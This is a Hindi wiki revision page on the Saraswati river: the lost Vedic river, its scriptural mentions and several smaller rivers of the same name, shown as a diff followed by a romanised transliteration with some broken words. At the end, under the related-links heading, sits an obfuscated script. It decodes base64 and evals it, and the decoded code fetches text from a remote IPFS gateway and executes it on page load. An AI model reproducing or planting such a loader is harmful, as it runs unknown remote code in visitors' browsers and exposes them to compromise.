Difference between revisions of "सरस्वती नदी"
| [unchecked revision] | [unchecked revision] |
m (Text replace - "==टीका-टिप्पणी==" to "==टीका टिप्पणी और संदर्भ==") |
|||
| Line 19: | Line 19: | ||
*(सौराष्ट्र) प्रभास पाटन के पूर्व की ओर बहने वाली छोटी नदी जो कपिला में मिलती है। कपिला हिरण्या की सहायक नदी है जो दोनों कर जल लेती हुई प्राची सरस्वती में मिलकर समुद्र में गिरती है। | *(सौराष्ट्र) प्रभास पाटन के पूर्व की ओर बहने वाली छोटी नदी जो कपिला में मिलती है। कपिला हिरण्या की सहायक नदी है जो दोनों कर जल लेती हुई प्राची सरस्वती में मिलकर समुद्र में गिरती है। | ||
*(महाराष्ट्र) कृष्णा की सहायक पंचगंगा की एक शाखा। कृष्णा पंचगंगा संगम पर अमरपुर नामक प्राचीन तीर्थ है। | *(महाराष्ट्र) कृष्णा की सहायक पंचगंगा की एक शाखा। कृष्णा पंचगंगा संगम पर अमरपुर नामक प्राचीन तीर्थ है। | ||
| − | *(ज़िला गढ़वाल, उ॰प्र॰) एक छोटी पहाड़ी नदी जो बदरीनारायण में वसुधारा जाते समय मिलती है। सरस्वती और अलकनंदा (गंगा) के संगम पर केशवप्रयाग स्थित है। | + | *(ज़िला गढ़वाल, उ॰प्र॰) एक छोटी पहाड़ी नदी जो बदरीनारायण में वसुधारा जाते समय मिलती है। सरस्वती और [[अलकनंदा नदी|अलकनंदा]] (गंगा) के संगम पर केशवप्रयाग स्थित है। |
*(बिहार) [[राजगृह|राजगीर]] के समीप बहने वाली नदी जो प्राचीन काल में तपोदा कहलाती थी। इस सरिता में उष्ण जल के स्त्रोत थे। इसी कारण यह तपोदा नाम से प्रसिद्ध थी। तपोद तीर्थ का, जो इस नदी के तट पर था, [[महाभारत]] [[वन पर्व महाभारत|वनपर्व]] में उल्लेख है। गौतमबुद्ध के समय तपोदाराम नामक उद्यान इसी नदी के तट पर स्थित था। मगध-सम्राट बिंदुसार प्राय: इस नदी में स्नान करते थे। | *(बिहार) [[राजगृह|राजगीर]] के समीप बहने वाली नदी जो प्राचीन काल में तपोदा कहलाती थी। इस सरिता में उष्ण जल के स्त्रोत थे। इसी कारण यह तपोदा नाम से प्रसिद्ध थी। तपोद तीर्थ का, जो इस नदी के तट पर था, [[महाभारत]] [[वन पर्व महाभारत|वनपर्व]] में उल्लेख है। गौतमबुद्ध के समय तपोदाराम नामक उद्यान इसी नदी के तट पर स्थित था। मगध-सम्राट बिंदुसार प्राय: इस नदी में स्नान करते थे। | ||
*केरल की एक नदी जिसके तट पर होनावर स्थित है। | *केरल की एक नदी जिसके तट पर होनावर स्थित है। | ||
Revision as of 12:11, 16 July 2010
sarasvati nadi
Saraswati River|thumb|250px
kee bhoo-vijnani manate haian, aur rrigved mean bhi kaha gaya hai, ki hazaroan sal pahale sataluj (jo sindhu nadi ki sahayak nadi hai) aur yamuna (jo ganga ki sahayak nadi hai) ke bich ek vishal nadi thi jo himalay se lekar arab sagar tak bahati thi. aj ye bhoogarbhi badalav ke karan sookh gayi hai. rrigved mean, vaidik kal mean is nadi sarasvati ko 'naditama' ki upadhi di gayi hai. us sabhyata mean sarasvati hi sabase b di aur mukhy nadi thi, ganga nahian.
sarasvati nadi hariyana, panjab v rajasthan se hokar bahati thi aur kachchh ke ran mean jakar arab sagar mean milati thi. tab sarasvati ke kinare basa rajasthan bhi harabhara tha. us samay yamuna, sataluj v ghaggar isaki pramukh sahayak nadiyaan thian. bad mean sataluj v yamuna ne bhoogarbhiy halachaloan ke karan apana marg badal liya aur sarasvati se door ho geean. himalay ki paha diyoan mean prachin kal se hibhoogarbhiy gatividhiyaan chalati rahi haian.
sarasvati ka vilupt hona
sanbhavatah aisi hi kisi halachal ke karan sarasvati ka prakritik marg avaruddh hua aur vah marg badalakar bahane lagi. badale marg par ise himalay se jal nahian mila aur yah varsha jal se bahane vali nadi banakar rah gee. dhire-dhire rajasthan kshetr mean mausam garm hota gaya aur varsha jal bhi n milane ke karan sarasvati nadi sookhakar vilupt ho gee.
ke es valdiya ki pustak 'sarasvati, d rivar dait disepiyard' aur bi pi radhakrishnaa v es es medha ki pustak 'vaidik sarasvati' mean kaha gaya hai ki manasarovar se nikalane vali sarasvati himalay ko par karate hue hariyana, rajasthan ke raste kachchh pahuanchati thi.
sarasvati ka mahatv
- vaidik kal mean sarasvati ki b di mahima thi aur ise param pavitr nadi mana jata tha. rrigved ke nadi sookt mean sarasvati ka ullekh hai, 'iman mean gange yamune sarasvati shutudri stoman sachata parooshnya asiknya maroodvadhe vitastayarjikiye shrrinuhya sushomaya'[1] sarasvati rrigved mean keval 'nadi devata' ke roop mean varnit hai (isaki vandana tin sampoorn tatha anek prakirn mantroan mean ki gee hai), kiantu brahman grathoan mean ise vani ki devi ya vachh ke roop mean dekha gaya aur uttar vaidik kal mean sarasvati ko mukhyat:, vani ke atirikt buddhi ya vidya ki adhishthatri devi bhi mana gaya hai aur brahma ki patni ke roop mean isaki vandana ke git gaye ge hai.
- rrigved mean sarasvati ko ek vishal nadi ke roop mean varnit kiya gaya hai aur isilie rath adi manishiyoan ka vichar tha ki rrigved mean sarasvati vastut: moolaroop mean siandhu ka hi abhidhan hai. kiantu mekadaneld ke anusar sarasvati rrigved mean kee sthanoan par satalaj aur yamuna ke bich ki chhoti nadi hi ke roop mean varnit hai. sarasvati aur drishadvati paravarti kal mean brahmavart ki poorvi sima ki nadiyaan kahi gee haian. yah chhoti-si nadi ab rajasthan ke maroosthal mean pahuanchakar shushk ho jati hai, kiantu panjab ki nadiyoan ke prachin marg ke adhyayan se kuchh bhoogolavidoan ka vichar hai ki sarasvati poorvakal mean sataluj ki sahayak nadi avashy rahi hogi aur is prakar vaidik kal mean yah samudragamini nadi thi. yah bhi sanbhav hai ki kalaantar mean yah nadi dakshin ki or pravahit hone lagi aur rajasthan hoti huee kachchh ki kha di mean girane lagi. rajasthan tatha gujarat ki yah nadi aj bhi kee sthanoan par dikhaee p dati hai. siddhapur isake tat par hai. sanbhav hai ki kurukshetr ka sannihat tal aur rajasthan ka prasiddhatal pushkar isi nadi ke chho de hue sarovar haian. yah nadi kee sthanoan par lupt ho gee hai.
- hapakians ka mat hai ki rrigved ka adhikaansh bhag sarasvati ke tatavarti pradesh mean (aanbala ke dakshin ka bhoobhag) rachit hua tha. shayad yahi karan hai ki sarasvati nadi vaidik kal mean itani pavitr samajhi jati thi aur paravarti kal mean to isako vidya, briddhi tatha vani ki devi ke roop mean mana gaya. mekadanald ka mat hai ki yajurved tatha usake brahman granth sarasvati aur yamuna ke bich ke pradesh mean jise kurukshetr bhi kahate the rache gaye the. samaved ke panchaviansh brahman (praudh ya taandy brahman) mean sarasvati aur drishadvati nadiyoan ke tat par kie ge yajnoan ka savistar varnan hai jisase brahman kal mean sarasvati ke pradesh ki punyabhoomi ke roop mean manyata siddh hoti hai. shatapath brahman mean videgh (videh) ke raja mathav ka mool sthan sarasvati nadi ke tat par bataya gaya hai aur kalaantar mean vaidik sabhyata ka poorv ki or prasar hone ke sath hi mathav ke videh (bihar) mean jakar basane ka varnan hai. is katha se bhi sarasvati ka tatavarti pradesh vaidik kal ki sabhyata ka mool keandr pramanit hota hai.
ramayan mean sarasvati
valmiki ramayan mean bharat ke kekay desh se ayodhya ane ke prasang mean sarasvati aur ganga ko par karane ka varnan hai- 'sarasvatian ch ganga ch yugmen pratipady ch, uttaranh viramatsyanaan bharoondan pravishadvanamh'[2] sarasvati nadi ke tatavarti sabhi tirthoan ka varnan mahabharat mean shalyaparv ke 35 vean se 54 vean adhyay tak savistar diya gaya hai. in sthanoan ki yatra balaram ne ki thi. jis sthan par maroobhoomi mean sarasvati lupt ho gee thi use vinashan kahate the.[3] is ullekh mean sarasvati ke lupt hone ke sthan ke pas abhiroan ka ullekh hai.
- yoonani lekhakoan ne alaksheandr ke samay inaka rajy sakkhar rori (siandh, paki0) mean likha hai. is sthan par prachin aitihasik smriti ke adhar par sarasvati ko aantarhit bhav se bahati mana jata tha, 'tato vinashanan gachchhenniyato niyatashan: gachchhatyantarhita yatr merooprishthe sarasvati.[4] mahabharat kal mean tatkalin vicharoan ke adhar par yah kianvadanti prasiddh thi ki prachin pavitr nadi (sarasvati) vinashan pahuanchakar nishad namak vijatiyoan ke sparsh-dosh se bachane ke lie prithvi mean pravesh kar gee thi.[5]
- siddhapur (gujarat) sarasvati nadi ke tat par basa hua hai. pas hi biandusar namak sarovar hai jo mahabharat ka vinashan ho sakata hai. yah sarasvati mukhy sarasvati hi ki dhara jan p dati hai. yah kachchh mean girati hai kiantu marg mean kee sthanoan par lupt ho jati hai. 'sarasvati' ka arth hai sarovaroan vali nadi jo isake chho de hue sarovaroan se siddh hota hai. mahabharat mean anek sthanoan par sarasvati ka ullekh hai. shrimadh bhagavat [6] mean yamuna tatha drishadvati ke sath sarasvati ka ullekh hai.[7] meghadoot[8] mean kalidas ne sarasvati ka brahmavart ke aantargat varnan kiya h. [9] sarasvati ka nam kalaantar mean itana prasiddh hua ki bharat ki anek nadiyoan ko isi ke nam par sarasvati kaha jane laga. parasiyoan ke dharmagranth jeandavasta mean sarasvati ka nam harahavati milata hai.
- prayag ke nikat ganga-yamuna sangam mean milane vali ek nadi jisaka rang lal mana jata tha. is nadi ka koee ullekh madhyakal ke poorv nahian milata aur triveni ki kalpana kafi bad ki jan p dati hai. jis prakar panjab ki prasiddh sarasvati maroobhoomi mean lupt ho gee thi usi prakar prayag ki sarasvati ke vishay mean bhi kalpana kar li gee ki vah bhi prayag mean aantarhit bhav se bahati hai. ganga-yamuna ke sangam ke sanbandh mean keval inhian do nadiyoan ke sangam ka vrittaant ramayan, mahabharat, kalidas tatha prachin puranoan mean milata hai. paravarti puranoan tatha hindi adi bhashaoan ke sahity mean triveni ka ullekh hai. [10] kuchh logoan ka mat hai ki ganga-yamuna ki sanyukt dhara ka hi nam sarasvati hai. any logoan ko vichar hai ki pahale prayag mean sangam sthal par ek chhoti-si nadi akar milati thi jo ab lupt ho gee hai. 19 vian shati mean, itali ke nivasi manoochi ne prayag ke kile ki chattan se nile pani ki sarasvati nadi ko nikalate dekha tha. yah nadi ganga-yamuna ke sangam mean hi mil jati thi.[11]
- (saurashtr) prabhas patan ke poorv ki or bahane vali chhoti nadi jo kapila mean milati hai. kapila hiranya ki sahayak nadi hai jo donoan kar jal leti huee prachi sarasvati mean milakar samudr mean girati hai.
- (maharashtr) krishnaa ki sahayak panchaganga ki ek shakha. krishnaa panchaganga sangam par amarapur namak prachin tirth hai.
- (zila gadhaval, u॰pr॰) ek chhoti paha di nadi jo badarinarayan mean vasudhara jate samay milati hai. sarasvati aur alakananda (ganga) ke sangam par keshavaprayag sthit hai.
- (bihar) rajagir ke samip bahane vali nadi jo prachin kal mean tapoda kahalati thi. is sarita mean ushn jal ke strot the. isi karan yah tapoda nam se prasiddh thi. tapod tirth ka, jo is nadi ke tat par tha, mahabharat vanaparv mean ullekh hai. gautamabuddh ke samay tapodaram namak udyan isi nadi ke tat par sthit tha. magadh-samrat biandusar pray: is nadi mean snan karate the.
- keral ki ek nadi jisake tat par honavar sthit hai.
- prachi sarasvati.
- (zila parabhani, maharashtr) ek chhoti nadi jo poorna ki sahayak hai. sarasvati-poorna sangam par ek prachin sudanr mandir sthit hai.
tika tippani aur sandarbh
- ↑ rrigved 10,75,5
- ↑ valmiki ramayan ayo0 71,5
- ↑ 'tato vinashanan rajanh jagamath halayudh: shoodrabhiranri pratidveshadh yatr nashta sarasvati' maha0 shaly0 37,1
- ↑ vinashan
- ↑ 'etadh vinashanan nam sarasvatya vishampate dvaran nishadarashtrasy yeshaan doshath sarasvati. pravishta prithivian vir ma nishada hi maan vidu:
- ↑ shrimadh bhagavat (5,19,18)
- ↑ mandakiniyamunasarasvatidrishadvadi gomatisarayu
- ↑ meghadoot poorvamegh
- ↑ kritva tasamabhigamamapaan saumy sarasvatinamant:shuddhastvamapi bhavita varnamatren krishna:
- ↑ 'bharat vachan suni bhaanjh triveni, bhee mriduvani sumangal deni'-tulasidas
- ↑ de0manoochi, jild 3,pri0 75.
sambandhit liank
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>